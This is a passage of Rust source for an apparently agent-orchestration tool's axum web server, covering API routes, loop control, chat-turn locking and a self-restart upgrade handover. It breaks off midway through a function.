1#[cfg(test)]
95pub(crate) mod request_cost;
96
97use std::collections::{HashMap, HashSet};
98use std::convert::Infallible;
99use std::net::{IpAddr, Ipv4Addr, SocketAddr};
100use std::path::{Path as FsPath, PathBuf};
101use std::pin::Pin;
102use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
103use std::time::Duration;
104use tokio::sync::Notify;
105
106use anyhow::{Context, Result};
107use axum::Json;
108use axum::Router;
109use axum::body::Bytes;
110use axum::extract::rejection::JsonRejection;
111use axum::extract::{DefaultBodyLimit, Path, Query, State};
112use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
113use axum::response::sse::{Event, KeepAlive, Sse};
114use axum::response::{IntoResponse, Response};
115use axum::routing::{get, post, put};
116use jiff::Timestamp;
117use serde::{Deserialize, Serialize};
118use tokio_stream::StreamExt as _;
119use tokio_stream::wrappers::ReceiverStream;
120
121use crate::agent;
122use crate::ask::{self, Answer, Question, Questions};
123use crate::config::{AgentKind, Config, Update, UpdateMode};
124use crate::md;
125use crate::notices::{Notice, Notices};
126use crate::persona;
127use crate::persona_icon;
128use crate::proc::Quiet as _;
129use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
130use crate::run::{RunState, RunStatus};
131use crate::talk::{Talk, Talks};
132use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
133
134pub const DEFAULT_PORT: u16 = 7878;
136
137const POLL: Duration = Duration::from_secs(1);
139
140const KEEPALIVE: Duration = Duration::from_secs(15);
144
145const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
156
157const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
160
161const LIST_DEFAULT: usize = 50;
165const LIST_MAX: usize = 500;
167
168const TITLE_MAX: usize = 72;
170
171const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
180
181const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
187
188const FILENAME_HEADER: &str = "x-filename";
192
193const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
216 font-src data:; base-uri 'none'; form-action 'none'; \
217 frame-ancestors 'self'";
218
219const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
220const APP_CSS: &str = include_str!("../assets/ui/app.css");
221const APP_JS: &str = include_str!("../assets/ui/app.js");
222
223#[derive(Debug, Clone, Copy, PartialEq, Eq)]
225pub enum Bind {
226 Auto,
228 Addr(IpAddr),
230}
231
232impl std::str::FromStr for Bind {
233 type Err = String;
234
235 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
239 if s.eq_ignore_ascii_case("auto") {
240 return Ok(Self::Auto);
241 }
242 s.parse()
243 .map(Self::Addr)
244 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
245 }
246}
247
248impl std::fmt::Display for Bind {
249 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
250 match self {
251 Self::Auto => f.write_str("auto"),
252 Self::Addr(addr) => write!(f, "{addr}"),
253 }
254 }
255}
256
257#[derive(Debug, Clone)]
259pub struct Opts {
260 pub bind: Bind,
262 pub port: u16,
264 pub repo: PathBuf,
266 pub open: bool,
269 pub merge: Option<String>,
277}
278
279impl Default for Opts {
280 fn default() -> Self {
281 Self {
282 bind: Bind::Auto,
283 port: DEFAULT_PORT,
284 repo: PathBuf::from("."),
285 open: false,
286 merge: None,
287 }
288 }
289}
290
291#[derive(Debug, Clone)]
297pub struct Ui {
298 queue: Queue,
299 questions: Questions,
300 notices: Notices,
303 talks: Talks,
304 runs: PathBuf,
305 home: PathBuf,
306 repo: PathBuf,
307 worktrees_root: PathBuf,
314 talk_turns: Arc<Mutex<TalkTurns>>,
322 upgrade_gate: Arc<tokio::sync::Mutex<()>>,
326 upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
329 resuming: Arc<Mutex<HashSet<String>>>,
337 repos_cache: repos::Cache,
341 machine_config: Option<PathBuf>,
345 merge: Option<String>,
347 looping: Arc<Mutex<LoopState>>,
349 launch: Launch,
361 #[cfg(test)]
364 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
365}
366
367#[cfg(test)]
387struct BusyQueueGate {
388 reached: tokio::sync::oneshot::Sender<()>,
389 release: std::sync::mpsc::Receiver<()>,
390}
391
392#[cfg(test)]
393impl std::fmt::Debug for BusyQueueGate {
394 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
395 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
396 }
397}
398
399impl Ui {
400 pub fn new(
402 queue: Queue,
403 questions: Questions,
404 talks: Talks,
405 runs: PathBuf,
406 home: PathBuf,
407 repo: PathBuf,
408 ) -> Self {
409 Self {
410 queue,
411 questions,
412 notices: Notices::at(home.join("notifications")),
413 talks,
414 runs,
415 home,
416 repo,
417 worktrees_root: run::default_worktree_root(),
421 talk_turns: Arc::default(),
422 upgrade_gate: Arc::default(),
423 upgrade_spawned: Arc::default(),
424 resuming: Arc::default(),
425 repos_cache: repos::Cache::new(),
426 machine_config: Config::machine_layer(),
427 merge: None,
428 looping: Arc::default(),
429 launch: launch_daemon,
430 #[cfg(test)]
431 busy_queue_gate: Arc::default(),
432 }
433 }
434
435 pub fn open(repo: PathBuf) -> Self {
438 Self::new(
439 Queue::open(),
440 Questions::open(),
441 Talks::open(),
442 run::runs_root(),
443 run::home(),
444 repo,
445 )
446 }
447
448 #[must_use]
455 pub fn with_merge(mut self, merge: Option<String>) -> Self {
456 self.merge = merge;
457 self
458 }
459
460 #[cfg(test)]
463 #[must_use]
464 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
465 self.machine_config = path;
466 self
467 }
468
469 #[must_use]
474 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
475 self.worktrees_root = root;
476 self
477 }
478
479 #[cfg(test)]
484 #[must_use]
485 fn with_launch(mut self, launch: Launch) -> Self {
486 self.launch = launch;
487 self
488 }
489
490 #[cfg(test)]
500 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
501 *self
502 .busy_queue_gate
503 .lock()
504 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
505 }
506
507 fn looping(&self) -> Arc<Mutex<LoopState>> {
509 Arc::clone(&self.looping)
510 }
511
512 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
519 if let Some(other) = foreign {
520 return Err(ApiError::conflict(format!(
521 "{} is already running the loop, so this one will not start a \
522 second: two loops on one queue race for the same claims and \
523 burn the agent quota twice over. Stop it where it was \
524 started.",
525 other.who()
526 )));
527 }
528 let mut state = self.lock_loop();
529 if state.live.as_ref().is_some_and(Live::alive) {
530 return Err(ApiError::conflict(format!(
531 "this magi web process (pid {}) is already running the loop",
532 std::process::id()
533 )));
534 }
535
536 let stop = daemon::Stop::new();
537 let opts = daemon::Opts {
541 repo: self.repo.clone(),
542 merge: self.merge.clone(),
543 worktrees_root: Some(self.worktrees_root.clone()),
550 ..daemon::Opts::default()
551 };
552 let launch = self.launch;
553 let looping = Arc::clone(&self.looping);
554 let handle = tokio::spawn({
555 let opts = opts.clone();
556 let stop = stop.clone();
557 async move {
558 let failure = match launch(opts, stop).await {
559 Ok(()) => None,
560 Err(e) => Some(format!("{e:#}")),
561 };
562 match &failure {
563 Some(why) => tracing::error!("the loop stopped: {why}"),
564 None => tracing::info!("the loop stopped"),
565 }
566 let mut state = lock_or_recover(&looping);
572 state.live = None;
573 state.last_error = failure;
574 state.rev += 1;
575 }
576 });
577 tracing::info!(
578 "the loop is now running in this process: repo {}, merge {}",
579 opts.repo.display(),
580 opts.merge.as_deref().unwrap_or("as the config says")
581 );
582 state.live = Some(Live { stop, handle, opts });
583 state.last_error = None;
586 state.rev += 1;
587 Ok(())
588 }
589
590 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
596 if let Some(other) = foreign {
597 return Err(ApiError::conflict(format!(
598 "the loop belongs to {}, and this process cannot stop it - \
599 stop it where it was started. A button that silently did \
600 nothing would be worse than this refusal.",
601 other.who()
602 )));
603 }
604 let mut state = self.lock_loop();
605 if !park {
608 state.resume_after_handover = false;
609 }
610 let Some(live) = state.live.as_ref() else {
611 return Ok(());
612 };
613 if live.stop.stopped() && (!park || live.stop.parking()) {
617 return Ok(());
618 }
619 if park {
620 live.stop.park(crate::run::ParkCause::Operator);
621 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
622 } else {
623 live.stop.stop();
624 tracing::info!("the loop was asked to stop; a run in flight is finished first");
625 }
626 state.rev += 1;
627 Ok(())
628 }
629
630 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
637 let state = self.lock_loop();
638 let live = state.live.as_ref().filter(|live| live.alive());
641 LoopView {
642 running: live.is_some(),
643 stopping: live.is_some_and(|live| live.stop.finishing()),
644 parking: live.is_some_and(|live| live.stop.parking()),
645 owned: live.is_some(),
646 repo: live
647 .map_or(&self.repo, |live| &live.opts.repo)
648 .display()
649 .to_string(),
650 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
651 last_error: state.last_error.clone(),
652 daemon: DaemonView::of(reading),
653 }
654 }
655
656 fn resume_after_handover(&self, resume: bool) -> bool {
662 if !resume {
663 return false;
664 }
665 let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
666 match self.start_loop(foreign) {
667 Ok(()) => true,
668 Err(e) => {
669 let why = format!(
670 "the loop could not be resumed after the upgrade: {}",
671 e.message
672 );
673 tracing::warn!("{why}");
674 let mut state = self.lock_loop();
675 state.last_error = Some(why);
676 state.rev += 1;
677 false
678 }
679 }
680 }
681
682 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
684 lock_or_recover(&self.looping)
685 }
686
687 fn is_thinking(&self, id: &str) -> bool {
693 self.talk_turns
694 .lock()
695 .is_ok_and(|turns| turns.live.contains(id))
696 || self.talks.turn_held(id)
699 }
700
701 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
720 self.claim_talk_turn(id, false)
721 }
722
723 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
726 self.claim_talk_turn(id, true)
727 }
728
729 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
730 let mut live = self
731 .talk_turns
732 .lock()
733 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
734 if live.parking {
735 if queued {
736 *live.queued.entry(id.to_owned()).or_default() += 1;
739 return Ok(None);
740 }
741 return Err(ApiError::conflict(UPGRADE_IN_PROGRESS));
742 }
743 let inserted = live.live.insert(id.to_owned());
744 let lease = if inserted {
748 match self.talks.claim_turn(id) {
749 Ok(Some(lease)) => Some(lease),
750 Ok(None) => {
751 live.live.remove(id);
752 None
753 }
754 Err(e) => {
755 live.live.remove(id);
756 return Err(ApiError::from(e));
757 }
758 }
759 } else {
760 None
761 };
762 if lease.is_none() {
763 if queued {
764 *live.queued.entry(id.to_owned()).or_default() += 1;
769 }
770 return Ok(None);
771 }
772 Ok(Some(TalkTurnGuard {
773 talk: id.to_owned(),
774 turns: Arc::clone(&self.talk_turns),
775 released: false,
776 lease,
777 }))
778 }
779
780 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
785 let mut live = self
786 .talk_turns
787 .lock()
788 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
789 if live.parking || live.live.contains(id) {
791 return Ok(TalkTurnStart::Busy);
792 }
793 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
794 return Ok(TalkTurnStart::Foreign);
795 };
796 let talk = self.talks.get(id).map_err(ApiError::from)?;
798 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
799 return Ok(TalkTurnStart::Pending);
800 }
801 live.live.insert(id.to_owned());
802 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
803 talk: id.to_owned(),
804 turns: Arc::clone(&self.talk_turns),
805 released: false,
806 lease: Some(lease),
807 }))
808 }
809
810 fn queued_generation(&self, id: &str) -> u64 {
811 let live = self
812 .talk_turns
813 .lock()
814 .unwrap_or_else(PoisonError::into_inner);
815 live.queued.get(id).copied().unwrap_or(0)
816 }
817
818 fn turns(&self) -> Arc<Mutex<TalkTurns>> {
820 Arc::clone(&self.talk_turns)
821 }
822
823 fn park_for_upgrade(&self, from: &str, to: Option<&str>) -> ApiResult<Option<String>> {
830 let parking = {
831 let mut state = self.lock_loop();
832 let resume = state.resume_after_handover
842 || state
843 .live
844 .as_ref()
845 .is_some_and(|live| live.alive() && !live.stop.stopped());
846 state.resume_after_handover = resume;
847 let Some(live) = state.live.as_ref() else {
848 return Ok(None);
849 };
850 let busy = live.stop.busy_now();
851 live.stop.park(crate::run::ParkCause::Upgrade {
852 from: from.to_owned(),
853 to: to.map(|t| t.trim_start_matches('v').to_owned()),
854 });
855 state.rev += 1;
856 busy
857 };
858 Ok(if parking {
859 daemon::current_work(&self.home, jiff::Timestamp::now())
864 .into_iter()
865 .next()
866 .map(|c| c.run)
867 } else {
868 None
869 })
870 }
871
872 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
876 let mut live = self
877 .resuming
878 .lock()
879 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
880 if !live.insert(id.to_owned()) {
881 return Err(ApiError::conflict(format!(
882 "run {id} is already being resumed"
883 )));
884 }
885 Ok(ResumeGuard {
886 run: id.to_owned(),
887 resuming: Arc::clone(&self.resuming),
888 })
889 }
890
891 pub fn router(self) -> Router {
899 Router::new()
900 .route("/", get(index))
901 .route("/app.css", get(app_css))
902 .route("/app.js", get(app_js))
903 .route("/api/health", get(health))
904 .route("/api/loop", get(loop_get).post(loop_post))
905 .route("/api/upgrade", post(upgrade_post))
906 .route("/api/runs", get(runs_list))
907 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
908 .route("/api/runs/{id}/report", get(run_report))
909 .route("/api/runs/{id}/report.json", get(run_report_json))
910 .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
911 .route("/api/runs/{id}/fold", post(run_fold))
912 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
913 .route("/api/runs/{id}/resume", post(run_resume))
914 .route("/api/queue", get(queue_list))
915 .route("/api/search", get(search_get))
916 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
917 .route("/api/stats", get(stats_get))
918 .route("/api/repos", get(repos_list))
919 .route("/api/settings", get(settings_get))
920 .route("/api/settings/roles", put(settings_put_roles))
921 .route("/api/queue/{id}/hold", post(queue_hold))
922 .route("/api/queue/{id}/release", post(queue_release))
923 .route("/api/queue/{id}/priority", post(queue_priority))
924 .route("/api/queue/{id}/implementers", post(queue_implementers))
925 .route("/api/queue/{id}/edit", post(queue_edit))
926 .route("/api/queue/{id}/done", post(queue_done))
927 .route("/api/questions", get(questions_list))
928 .route("/api/questions/{id}/answer", post(question_answer))
929 .route("/api/questions/{id}/say", post(question_say))
930 .route("/api/questions/{id}/consult", post(question_consult))
931 .route("/api/questions/{id}/panel", get(question_panel))
932 .route("/api/questions/{id}/panel/index.html", get(question_panel))
940 .route("/api/questions/{id}/panel/{name}", get(question_asset))
941 .route("/api/questions/{id}/asset/{name}", get(question_asset))
942 .route("/api/notifications", get(notifications_list))
943 .route("/api/notifications/read-all", post(notifications_read_all))
944 .route("/api/notifications/{id}/read", post(notification_read))
945 .route(
946 "/api/notifications/{id}/dismiss",
947 post(notification_dismiss),
948 )
949 .route("/api/talks", get(talks_list).post(talk_post))
950 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
951 .route("/api/talks/{id}/say", post(talk_say))
952 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
953 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
954 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
955 .route("/api/talks/{id}/agent", post(talk_agent))
956 .route("/api/talks/{id}/persona", post(talk_persona))
957 .route("/api/talks/{id}/implementers", post(talk_implementers))
958 .route("/api/talks/{id}/close", post(talk_close))
959 .route("/api/talks/{id}/reopen", post(talk_reopen))
960 .route(
966 "/api/talks/{id}/attachments",
967 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
968 )
969 .route(
970 "/api/talks/{id}/attachments/{att}",
971 get(talk_attachment_get),
972 )
973 .route("/api/talks/{id}/avatar", get(talk_avatar))
974 .route("/avatars/operator.svg", get(operator_avatar))
975 .route("/api/events", get(events))
976 .with_state(Arc::new(self))
977 }
978}
979
980const UPGRADE_IN_PROGRESS: &str = "upgrade in progress, try again in a moment";
983
984#[derive(Debug)]
990struct TalkTurnGuard {
991 talk: String,
992 turns: Arc<Mutex<TalkTurns>>,
993 released: bool,
994 lease: Option<crate::talk::TurnLease>,
996}
997
998#[derive(Debug, Default)]
1005struct TalkTurns {
1006 live: HashSet<String>,
1007 queued: HashMap<String, u64>,
1008 parking: bool,
1012}
1013
1014enum TalkTurnStart {
1017 Claimed(TalkTurnGuard),
1018 Busy,
1019 Foreign,
1022 Pending,
1023}
1024
1025impl TalkTurnGuard {
1026 fn owns(&self) -> bool {
1030 self.lease
1031 .as_ref()
1032 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1033 }
1034
1035 async fn respond(
1038 &self,
1039 talk: &mut Talk,
1040 talks: &Talks,
1041 cfg: &Config,
1042 text: &str,
1043 ) -> anyhow::Result<()> {
1044 let lease = self
1045 .lease
1046 .as_ref()
1047 .context("the turn guard no longer holds its lease")?;
1048 talk::respond(lease, talk, talks, cfg, text).await
1049 }
1050
1051 fn release(mut self, live: &mut TalkTurns) {
1054 self.lease = None;
1058 live.live.remove(&self.talk);
1059 live.queued.remove(&self.talk);
1060 self.released = true;
1061 }
1062}
1063
1064impl Drop for TalkTurnGuard {
1065 fn drop(&mut self) {
1066 if self.released {
1067 return;
1068 }
1069 drop(self.lease.take());
1071 if let Ok(mut live) = self.turns.lock() {
1072 live.live.remove(&self.talk);
1073 live.queued.remove(&self.talk);
1074 }
1075 }
1076}
1077
1078struct ResumeGuard {
1080 run: String,
1081 resuming: Arc<Mutex<HashSet<String>>>,
1082}
1083
1084impl Drop for ResumeGuard {
1085 fn drop(&mut self) {
1086 if let Ok(mut live) = self.resuming.lock() {
1087 live.remove(&self.run);
1088 }
1089 }
1090}
1091
1092async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1102 const WINDOW: Duration = Duration::from_secs(10);
1103 const GAP: Duration = Duration::from_millis(250);
1104
1105 let deadline = std::time::Instant::now() + WINDOW;
1106 let mut said = false;
1107 loop {
1108 match tokio::net::TcpListener::bind(socket).await {
1109 Ok(listener) => return Ok(listener),
1110 Err(e)
1111 if e.kind() == std::io::ErrorKind::AddrInUse
1112 && std::time::Instant::now() < deadline =>
1113 {
1114 if !said {
1115 said = true;
1116 tracing::info!(
1117 "{socket} is still held - waiting up to {}s for it, \
1118 which is what a restart looks like from here",
1119 WINDOW.as_secs()
1120 );
1121 }
1122 tokio::time::sleep(GAP).await;
1123 }
1124 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1125 }
1126 }
1127}
1128
1129static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1132
1133const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1135
1136fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1138 value.is_some_and(|v| v == "1")
1139}
1140
1141fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1164 let exe = std::env::current_exe().context("find this binary")?;
1165 let args: Vec<String> = std::env::args().skip(1).collect();
1166 updater::log_step(
1167 home,
1168 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1169 );
1170 let log_path = home.join(WEB_LOG);
1171 let open_log = || {
1172 std::fs::create_dir_all(home)?;
1173 std::fs::OpenOptions::new()
1174 .create(true)
1175 .append(true)
1176 .open(&log_path)
1177 };
1178 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1179 Ok(pair) => (
1180 std::process::Stdio::from(pair.0),
1181 std::process::Stdio::from(pair.1),
1182 ),
1183 Err(e) => {
1184 updater::log_warn(
1185 home,
1186 &format!(
1187 "could not open {}: {e}; the successor logs nowhere",
1188 log_path.display()
1189 ),
1190 );
1191 (std::process::Stdio::null(), std::process::Stdio::null())
1192 }
1193 };
1194
1195 let mut cmd = std::process::Command::new(&exe);
1196 if resume {
1197 cmd.env(RESUME_LOOP_ENV, "1");
1198 } else {
1199 cmd.env_remove(RESUME_LOOP_ENV);
1200 }
1201 cmd.args(&args)
1202 .stdin(std::process::Stdio::null())
1203 .stdout(out)
1204 .stderr(err);
1205 #[cfg(windows)]
1206 {
1207 use std::os::windows::process::CommandExt as _;
1208 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1211 }
1212 let child = cmd.spawn().context("start the successor")?;
1213 Ok(child.id())
1214}
1215
1216const WEB_LOG: &str = "web.log";
1218
1219async fn wait_for_handover(signal: &Notify) {
1223 signal.notified().await;
1224}
1225
1226pub async fn serve(opts: Opts) -> Result<()> {
1251 let (addr, warning) = resolve_bind(&opts.bind);
1252 if let Some(warning) = warning {
1253 tracing::warn!("{warning}");
1254 }
1255
1256 report::set_color(false);
1262
1263 let repo = normalize_default_repo(opts.repo).await;
1264 let ui = Ui::open(repo).with_merge(opts.merge);
1265 let home = ui.home.clone();
1270 let repo = ui.repo.clone();
1271 updater::reconcile_after_restart(&home);
1276 updater::log_step(
1277 &home,
1278 &format!(
1279 "web process started (version {}); handover log {}, successor output {}",
1280 env!("CARGO_PKG_VERSION"),
1281 updater::log_path(&home).display(),
1282 home.join(WEB_LOG).display()
1283 ),
1284 );
1285 updater::spawn_watchdog(home.clone());
1286 tokio::spawn(run_update_recheck(repo, home.clone()));
1295 let looping = ui.looping();
1296 let turns = ui.turns();
1297 let talk_store = ui.talks.clone();
1298 let socket = SocketAddr::new(addr, opts.port);
1299 let listener = bind_waiting(socket).await?;
1300 let url = format!("http://{addr}:{}", opts.port);
1301 tracing::info!(
1302 "magi web UI on {url} - there is no authentication, so anyone who can \
1303 reach this address can file and hold tasks: the tailnet is the \
1304 security boundary"
1305 );
1306 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1307 tracing::info!("resumed the loop the predecessor was running");
1308 } else {
1309 tracing::info!(
1310 "the queue loop is not running yet - start it from the UI, which is \
1311 the whole reason this process can: nothing in the queue moves until \
1312 something is running the loop"
1313 );
1314 }
1315 if opts.open {
1316 println!("{url}");
1320 }
1321
1322 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1325 let interrupted = async {
1326 if tokio::signal::ctrl_c().await.is_err() {
1327 std::future::pending::<()>().await;
1332 }
1333 };
1334 let handover = wait_for_handover(&HANDOVER);
1335 let outcome = tokio::select! {
1336 joined = &mut served => match joined {
1337 Ok(outcome) => outcome.context("serve the web UI"),
1338 Err(e) => Err(e).context("the task serving the web UI ended"),
1339 },
1340 () = interrupted => {
1341 tracing::info!("shutting down the web UI");
1342 finish_loop(&home, &looping, None).await;
1343 Ok(())
1344 }
1345 () = handover => {
1346 updater::log_step(&home, "serve: the select! woke on the handover signal");
1347 let successor_home = home.clone();
1348 let wait_for = move |ids: &[String]| talk_wait_for(&talk_store, ids);
1349 hand_over(&home, &looping, &turns, &wait_for, served, move |resume| {
1350 spawn_successor(&successor_home, resume)
1351 })
1352 .await
1353 }
1354 };
1355 updater::log_step(
1356 &home,
1357 &match &outcome {
1358 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1359 Err(e) => format!("serve: returning an error: {e:#}"),
1360 },
1361 );
1362 outcome
1363}
1364
1365async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1386 if repo != FsPath::new(".") {
1387 return repo;
1388 }
1389 let Ok(canonical) = repo.canonicalize() else {
1390 return repo;
1391 };
1392 if git::toplevel(&canonical).await.is_ok() {
1393 return repo;
1394 }
1395 let Some(home) = dirs::home_dir() else {
1396 return repo;
1397 };
1398 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1399 Some(found) => {
1400 tracing::info!(
1401 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1402 canonical.display(),
1403 found.path.display(),
1404 found.reason,
1405 );
1406 found.path
1407 }
1408 None => repo,
1409 }
1410}
1411
1412async fn hand_over(
1442 home: &FsPath,
1443 looping: &Mutex<LoopState>,
1444 turns: &Arc<Mutex<TalkTurns>>,
1445 talk_wait: &(dyn Fn(&[String]) -> Duration + Sync),
1446 served: tokio::task::JoinHandle<std::io::Result<()>>,
1447 successor: impl FnOnce(bool) -> Result<u32>,
1448) -> Result<()> {
1449 updater::log_step(home, "hand_over: entered; writing the parking stage");
1450 let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1454 if !recorded {
1455 updater::log_warn(
1456 home,
1457 "hand_over: upgrade.json is unreadable; no parking stage",
1458 );
1459 }
1460 finish_loop(home, looping, Some(&mut lease)).await;
1465 let parking = ParkingTurns::begin(turns);
1466 let talks_done = finish_talks(home, turns, talk_wait);
1467 tokio::pin!(talks_done);
1468 let mut beat = tokio::time::interval(LEASE_BEAT);
1469 let (abandoned, waited_for) = loop {
1470 tokio::select! {
1471 left = &mut talks_done => break left,
1472 _ = beat.tick() => lease.beat(),
1473 }
1474 };
1475 drop(lease);
1476 updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1477 served.abort();
1478 let _ = served.await;
1479 updater::log_step(home, "hand_over: listener released");
1480 let resume = lock_or_recover(looping).resume_after_handover;
1483 match updater::read_progress(home) {
1484 Some(mut progress) => {
1485 progress.advance(updater::Stage::Restarting);
1486 if !abandoned.is_empty() {
1487 progress.detail = Some(format!(
1488 "handed over while {} still running after {} s",
1489 updater::talks_phrase(&abandoned),
1490 waited_for.as_secs()
1491 ));
1492 }
1493 updater::write_progress_logged(home, &progress);
1494 }
1495 None => updater::log_warn(
1496 home,
1497 "hand_over: upgrade.json is unreadable; no restarting stage",
1498 ),
1499 }
1500 updater::log_step(
1501 home,
1502 &format!("hand_over: starting the successor (resume={resume})"),
1503 );
1504 drop(parking);
1505 match successor(resume) {
1506 Ok(pid) => {
1507 updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1508 Ok(())
1509 }
1510 Err(e) => {
1511 updater::log_warn(
1512 home,
1513 &format!("hand_over: the successor did not start: {e:#}"),
1514 );
1515 Err(e)
1516 }
1517 }
1518}
1519
1520const TALK_PARK_GRACE: Duration = Duration::from_secs(60);
1523
1524const TALK_POLL: Duration = Duration::from_millis(250);
1526
1527fn talk_wait_bound(timeout_talk_secs: u64) -> Duration {
1530 Duration::from_secs(timeout_talk_secs) + TALK_PARK_GRACE
1531}
1532
1533fn talk_wait_for(talks: &Talks, ids: &[String]) -> Duration {
1538 let default = Config::default().graph.timeout_talk;
1539 let longest = ids
1540 .iter()
1541 .map(|id| {
1542 talks
1543 .get(id)
1544 .ok()
1545 .and_then(|t| Config::discover(&t.repo, None).ok())
1546 .map_or(default, |(c, _)| c.graph.timeout_talk)
1547 })
1548 .max()
1549 .unwrap_or(default);
1550 talk_wait_bound(longest)
1551}
1552
1553struct ParkingTurns(Arc<Mutex<TalkTurns>>);
1557
1558impl ParkingTurns {
1559 fn begin(turns: &Arc<Mutex<TalkTurns>>) -> Self {
1560 turns.lock().unwrap_or_else(PoisonError::into_inner).parking = true;
1561 Self(Arc::clone(turns))
1562 }
1563}
1564
1565impl Drop for ParkingTurns {
1566 fn drop(&mut self) {
1567 self.0
1568 .lock()
1569 .unwrap_or_else(PoisonError::into_inner)
1570 .parking = false;
1571 }
1572}
1573
1574async fn finish_talks(
1579 home: &FsPath,
1580 turns: &Mutex<TalkTurns>,
1581 bound_for: &(dyn Fn(&[String]) -> Duration + Sync),
1582) -> (Vec<String>, Duration) {
1583 let running = || {
1584 let mut ids: Vec<String> = turns
1585 .lock()
1586 .unwrap_or_else(PoisonError::into_inner)
1587 .live
1588 .iter()
1589 .cloned()
1590 .collect();
1591 let talks = talk::Talks::at(home.join("talks"));
1594 for t in talks.list() {
1595 if talks.turn_held(&t.id) && !ids.contains(&t.id) {
1596 ids.push(t.id);
1597 }
1598 }
1599 ids.sort();
1600 ids
1601 };
1602 let started = std::time::Instant::now();
1603 let mut seen = Vec::new();
1604 let mut bound = Duration::ZERO;
1605 loop {
1606 let ids = running();
1607 if ids != seen {
1608 bound = bound.max(bound_for(&ids));
1609 if ids.is_empty() {
1610 updater::log_step(home, "finish_talks: no chat turn is running");
1611 } else {
1612 updater::log_step(
1613 home,
1614 &format!(
1615 "finish_talks: waiting for {} to finish",
1616 updater::talks_phrase(&ids)
1617 ),
1618 );
1619 }
1620 updater::set_parked_talks(home, &ids);
1621 seen = ids;
1622 }
1623 if seen.is_empty() {
1624 return (Vec::new(), bound);
1625 }
1626 if started.elapsed() >= bound {
1627 updater::log_warn(
1628 home,
1629 &format!(
1630 "finish_talks: {} still running after {} s; handing over anyway",
1631 updater::talks_phrase(&seen),
1632 bound.as_secs()
1633 ),
1634 );
1635 return (seen, bound);
1636 }
1637 tokio::time::sleep(TALK_POLL).await;
1638 }
1639}
1640
1641const LEASE_BEAT: Duration = Duration::from_secs(20);
1644
1645async fn finish_loop(
1652 home: &FsPath,
1653 state: &Mutex<LoopState>,
1654 mut lease: Option<&mut updater::LeaseGuard>,
1655) {
1656 let live = lock_or_recover(state).live.take();
1657 let Some(live) = live else {
1658 updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1659 return;
1660 };
1661 live.stop.stop();
1662 lock_or_recover(state).rev += 1;
1663 updater::log_step(
1664 home,
